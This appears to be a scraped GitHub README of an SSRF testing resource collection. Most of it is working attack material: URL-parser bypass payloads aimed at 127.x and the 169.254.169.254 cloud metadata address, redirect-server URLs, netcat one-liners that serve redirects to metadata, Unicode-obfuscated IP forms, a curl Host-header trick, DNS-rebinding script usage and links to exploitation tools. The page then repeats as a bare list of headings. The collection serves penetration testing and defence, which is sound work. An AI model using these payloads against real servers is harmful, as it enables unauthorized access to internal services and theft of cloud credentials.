SSRF (Server Side Request Forgery) testing resources

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SSRF (Server Side Request Forgery) testing resources

Quick URL based bypasses:

http://google.com:80+&@127.88.23.245:22/#[email protected]:80/

http://127.88.23.245:22/+&@google.com:80#[email protected]:80/

http://google.com:80+&@google.com:80#[email protected]:22/

http://127.88.23.245:22/[email protected]:80/

http://127.88.23.245:22/#@www.google.com:80/

http://google.com:80\\@127.88.23.245:22/

htaccess - redirect test for various cases

Status codes: 300, 301, 302, 303, 305, 307, 308

Filetypes: jpg, json, csv, xml, pdf

Live demo:

jpg 301 response without and with a valid response body:

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg

https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg

https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg

json 301 response without and with a valid response body:

https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json

https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json

https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json

https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json

csv 301 response without and with a valid response body:

https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv

https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv

https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv

https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv

xml 301 response without and with a valid response body:

https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml

https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml

https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml

https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml

pdf 301 response without and with a valid response body:

https://ssrf.localdomain.pw/pdf-without-body/301-http-169.254.169.254:80-.p.pdf

https://ssrf.localdomain.pw/pdf-without-body-md/301-http-.p.pdf

https://ssrf.localdomain.pw/pdf-with-body/301-http-169.254.169.254:80-.p.pdf

https://ssrf.localdomain.pw/pdf-with-body-md/301-http-.p.pdf

custom-30x - Custom 30x responses and Location header with PHP

Live demo:

https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

custom-200 - Custom 200 response and Content-Location header with PHP

Live demo:

https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

custom-201 - Custom 201 response and Location header with PHP

Live demo:

https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

Minimal web server using netcat

while true ; do nc -l -p 80 -c 'echo -e "HTTP/1.1 302 Found\nContent-Type: application/json\nLocation: http://169.254.169.254/\n{\"a\":\"b\"}"'; done

export RTSPLOCATION="http://169.254.169.254/"; while true ; do nc -l -p 554 -c 'echo -e "RTSP/1.0 301 Moved\nCSeq: 1\nLocation: $RTSPLOCATION"'; done

ip.py - Alternate IP encoding tool useful for SSRF Testing

python ip.py IP PORT WhiteListedDomain EXPORT(optional)

python ip.py 169.254.169.254 80 www.google.com

python ip.py 169.254.169.254 80 www.google.com export

DNS pinning

nslookup ssrf-169.254.169.254.localdomain.pw

nslookup ssrf-cloud.localdomain.pw

http://xip.io/

nslookup 169.254.169.254.xip.io

nslookup 1ynrnhl.xip.io

nslookup www.owasp.org.1ynrnhl.xip.io

nslookup 127.127.127.127.xip.io

https://nip.io/

nslookup 169.254.169.254.nip.io

nslookup app-169-254-169-254.nip.io

nslookup owasp.org.169.254.169.254.nip.io

nslookup customer2-app-169-254-169-254.nip.io

nslookup 127.127.127.127.nip.io

DNS pinning race condition

nslookup ssrf-race-169.254.169.254.localdomain.pw

DNS Rebinding

pip install twised

python3 dns.py WhitelistedIP InternalIP ServerIP Port Domain

python3 dns.py 216.58.214.206 169.254.169.254 78.47.24.216 53 localdomains.pw

http://webcache.googleusercontent.com/search?q=cache:http://www.611eternity.com/DNSRebinding%E6%8A%80%E6%9C%AF%E5%AD%A6%E4%B9%A0/

DNS Rebinding Exploitation Framework - https://github.com/mwrlabs/dref

cloud-metadata.txt - Cloud Metadata Dictionary useful for SSRF Testing

svg - SSRF with svg files

ffmpeg - SSRF with ffmpeg

https://hackerone.com/reports/237381

https://hackerone.com/reports/243470

https://github.com/neex/ffmpeg-avi-m3u-xbin

https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf

https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g22371f2702_0_15

iframe - SSRF with html iframe + URL bypass

Live demo:

http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/

Abusing Enclosed Alphanumerics

http://169。254。169。254/

http://169｡254｡169｡254/

http://⑯⑨。②⑤④。⑯⑨｡②⑤④/

http://⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ｡⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ:80/

http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/

http://②⑧⑤②⓪③⑨①⑥⑥:80/

http://④②⑤｡⑤①⓪｡④②⑤｡⑤①⓪:80/

http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/

http://⓪⓪②⑤①｡⓪⓪⓪③⑦⑥｡⓪⓪⓪⓪②⑤①｡⓪⓪⓪⓪⓪③⑦⑥:80/

http://[::①⑥⑨｡②⑤④｡⑯⑨｡②⑤④]:80/

http://[::ⓕⓕⓕⓕ:①⑥⑨。②⑤④。⑯⑨。②⑤④]:80/

http://⓪ⓧⓐ⑨。⓪③⑦⑥。④③⑤①⑧:80/

http://⓪ⓧⓐ⑨｡⑯⑥⑧⑨⑥⑥②:80/

http://⓪⓪②⑤①。⑯⑥⑧⑨⑥⑥②:80/

http://⓪⓪②⑤①｡⓪ⓧⓕⓔ｡④③⑤①⑧:80/

commonly-open-ports.txt - list of commonly open ports

us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

https://www.youtube.com/watch?v=D1S-G8rJrEk

A tiny and cute URL fuzzer

https://github.com/orangetw/Tiny-URL-Fuzzer

Bypassing Server-Side Request Forgery filters by abusing a bug in Ruby's native resolver

https://edoverflow.com/2017/ruby-resolv-bug/

https://hackerone.com/reports/287245

https://hackerone.com/reports/215105

0177.1 => 127.0.0.1

0x7f.1 => 127.0.0.1

127.1 => 127.0.0.1

AWS bypass only

http://instance-data/latest/meta-data/

SSRF Tips

http://webcache.googleusercontent.com/search?q=cache:http://blog.safebuff.com/2016/07/03/SSRF-Tips/

PHP SSRF Techniques

https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

SSRF bible

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM

SSRF Proxy

https://github.com/bcoles/ssrf_proxy

SSRF Proxy facilitates tunneling HTTP communications through servers vulnerable to Server-Side Request Forgery

SSRF via Request Splitting

https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

Overly Permissive Proxy

https://www.nginx.com/blog/trust-no-one-perils-of-trusting-user-input/

curl http://remote-ip-address/latest/meta-data/ -H "Host: 169.154.169.254"

All you need to know about SSRF and how may we write tools to do auto-detect

https://medium.com/bugbountywriteup/the-design-and-implementation-of-ssrf-attack-framework-550e9fda16ea

Gopherus - This tool generates gopher link for doing SSRF and RCE in various servers

https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/

A Glossary of Blind SSRF Chains

https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

Name		Name	Last commit message	Last commit date
Latest commit History 111 Commits
.github/workflows		.github/workflows
custom-200		custom-200
custom-201		custom-201
custom-30x		custom-30x
ffmpeg		ffmpeg
htaccess		htaccess
iframe		iframe
ssrf2smtp		ssrf2smtp
svg		svg
AppSecEU15-Server_side_browsing_considered_harmful.pdf		AppSecEU15-Server_side_browsing_considered_harmful.pdf
README.md		README.md
SECURITY.md		SECURITY.md
cloud-metadata.txt		cloud-metadata.txt
commonly-open-ports.txt		commonly-open-ports.txt
dns.py		dns.py
ip.py		ip.py
us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf		us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

cujanovic/SSRF-Testing

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SSRF (Server Side Request Forgery) testing resources

Quick URL based bypasses:

htaccess - redirect test for various cases

Live demo:

custom-30x - Custom 30x responses and Location header with PHP

Live demo:

custom-200 - Custom 200 response and Content-Location header with PHP

Live demo:

custom-201 - Custom 201 response and Location header with PHP

Live demo:

Minimal web server using netcat

ip.py - Alternate IP encoding tool useful for SSRF Testing

DNS pinning

DNS pinning race condition

DNS Rebinding

cloud-metadata.txt - Cloud Metadata Dictionary useful for SSRF Testing

svg - SSRF with svg files

ffmpeg - SSRF with ffmpeg

iframe - SSRF with html iframe + URL bypass

Live demo:

Abusing Enclosed Alphanumerics

commonly-open-ports.txt - list of commonly open ports

SSRF2SMTP

Schemes-List.xlsx - 800 of known schemas + useful references

Java/Python FTP Injections Allow for Firewall Bypass

SSRF + Gopher + Redis

Top 5 features that are often prone to SSRF vulnerabilities:

Joshua Maddux - When TLS Hacks You

AppSecEU15-Server_side_browsing_considered_harmful.pdf

us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

A tiny and cute URL fuzzer

Bypassing Server-Side Request Forgery filters by abusing a bug in Ruby's native resolver

AWS bypass only

SSRF Tips

PHP SSRF Techniques

SSRF bible

SSRF Proxy

SSRF via Request Splitting

Overly Permissive Proxy

All you need to know about SSRF and how may we write tools to do auto-detect

Gopherus - This tool generates gopher link for doing SSRF and RCE in various servers

A Glossary of Blind SSRF Chains

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